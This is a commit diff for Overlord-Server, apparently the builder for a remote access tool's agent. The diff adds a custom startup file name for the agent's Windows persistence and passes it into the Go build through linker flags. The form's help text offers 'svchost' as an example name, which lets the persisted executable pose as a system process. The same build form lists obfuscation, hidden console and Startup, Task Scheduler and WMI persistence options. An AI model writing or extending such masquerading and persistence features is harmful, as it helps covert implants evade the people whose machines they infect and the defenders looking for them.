add custom file names to building and fix purgatory issue

Overlord-Server/public/assets/build.js

@@ -462,6 +462,9 @@ form?.addEventListener("submit", async (e) => {
   const persistenceMethod = hasWindowsTarget
     ? form.querySelector("#persistence-method")?.value || "startup"
     : undefined;
+  const startupNameVal = hasWindowsTarget
+    ? (form.querySelector("#startup-name")?.value.trim() || "")
+    : "";
   const hideConsole = form.querySelector(
     'input[name="hide-console"]',
   ).checked;
@@ -494,6 +497,7 @@ form?.addEventListener("submit", async (e) => {
     obfuscate,
     enablePersistence,
     persistenceMethod: enablePersistence && hasWindowsTarget ? persistenceMethod : undefined,
+    startupName: enablePersistence && hasWindowsTarget && startupNameVal ? startupNameVal : undefined,
     hideConsole,
     noPrinting,
     outputName: outputNameVal || undefined,

Overlord-Server/public/build.html

@@ -325,6 +325,16 @@
                           <option value="taskscheduler">Task Scheduler (ONLOGON, requires admin)</option>
                           <option value="wmi">WMI Subscription (requires admin)</option>
                         </select>
+                        <div class="mt-3">
+                          <div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
+                            <i class="fa-solid fa-file-signature text-blue-400"></i> Startup File Name
+                          </div>
+                          <input type="text" id="startup-name" name="startup-name" maxlength="32"
+                            pattern="[A-Za-z0-9_-]+"
+                            placeholder="ovd (default)"
+                            class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors placeholder:text-slate-600" />
+                          <p class="text-xs text-slate-500 mt-1">Custom name for the startup executable (e.g. <code>svchost</code> → <code>svchost.exe</code>). Leave blank for default randomized name.</p>
+                        </div>
                       </div>
 
                       <div id="persistence-linux-settings" class="hidden" data-persistence-os="linux">

Overlord-Server/src/build/types.ts

@@ -20,6 +20,7 @@ export type BuildConfig = {
   obfuscate?: boolean;
   enablePersistence?: boolean;
   persistenceMethod?: string;
+  startupName?: string;
   hideConsole?: boolean;
   noPrinting?: boolean;
   outputName?: string;

Overlord-Server/src/server/build-process.ts

@@ -70,6 +70,7 @@ type BuildProcessConfig = {
   obfuscate?: boolean;
   enablePersistence?: boolean;
   persistenceMethod?: string;
+  startupName?: string;
   hideConsole?: boolean;
   noPrinting?: boolean;
   builtByUserId?: number;
@@ -702,6 +703,11 @@ func runBoundFiles() {
             ldflags = `${ldflags} ${methodFlag}`;
             sendToStream({ type: "output", text: `Persistence method: ${config.persistenceMethod}\n`, level: "info" });
           }
+          if (os === 'windows' && config.startupName) {
+            const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`;
+            ldflags = `${ldflags} ${startupNameFlag}`;
+            sendToStream({ type: "output", text: `Startup name: ${config.startupName}\n`, level: "info" });
+          }
         } else {
           sendToStream({ type: "output", text: `Persistence is not supported on ${platform}, skipping...\n`, level: "warning" });
         }

Overlord-Server/src/server/routes/build-routes.ts

@@ -48,6 +48,7 @@ export async function handleBuildRoutes(
         obfuscate,
         enablePersistence,
         persistenceMethod,
+        startupName,
         mutex,
         disableMutex,
         hideConsole,
@@ -135,6 +136,10 @@ export async function handleBuildRoutes(
         typeof persistenceMethod === 'string' && VALID_PERSISTENCE_METHODS.has(persistenceMethod.toLowerCase())
           ? persistenceMethod.toLowerCase()
           : 'startup';
+      const safeStartupName =
+        typeof startupName === 'string' && /^[A-Za-z0-9_-]{1,32}$/.test(startupName.trim())
+          ? startupName.trim()
+          : undefined;
       const safeOutputName = typeof outputName === "string" && /^[A-Za-z0-9._-]{1,64}$/.test(outputName.trim())
         ? outputName.trim()
         : undefined;
@@ -217,6 +222,7 @@ export async function handleBuildRoutes(
         obfuscate: !!obfuscate,
         enablePersistence,
         persistenceMethod: safePersistenceMethod,
+        startupName: safeStartupName,
         hideConsole: !!hideConsole,
         noPrinting: safeNoPrinting,
         builtByUserId: user.userId,

Overlord-Server/src/server/routes/enrollment-routes.ts

@@ -66,7 +66,7 @@ export async function handleEnrollmentRoutes(
       return Response.json({ error: "requireApproval must be a boolean" }, { status: 400 });
     }
 
-    await updateEnrollmentConfig(body.requireApproval);
+    await updateEnrollmentConfig({ requireApproval: body.requireApproval });
 
     logAudit({
       timestamp: Date.now(),